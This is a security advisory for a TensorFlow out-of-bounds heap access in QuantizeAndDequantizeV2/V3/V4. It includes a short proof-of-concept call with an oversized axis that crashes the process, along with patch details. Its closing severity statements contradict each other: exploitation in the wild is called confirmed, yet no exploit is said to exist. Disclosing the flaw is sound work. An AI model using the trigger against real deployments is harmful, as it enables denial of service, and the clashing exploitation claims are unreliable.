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PYSEC-2026-549
No affected components available
Impact
Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE. When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound. Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.
import tensorflow as tf
@tf.function
def test():
tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
input_min=[1.0],
input_max=[10.0],
signed_input=True,
num_bits=1,
range_given=True,
round_mode='HALF_TO_EVEN',
narrow_range=True,
axis=0x7fffffff)
test()
Patches
We have patched the issue in GitHub commit 7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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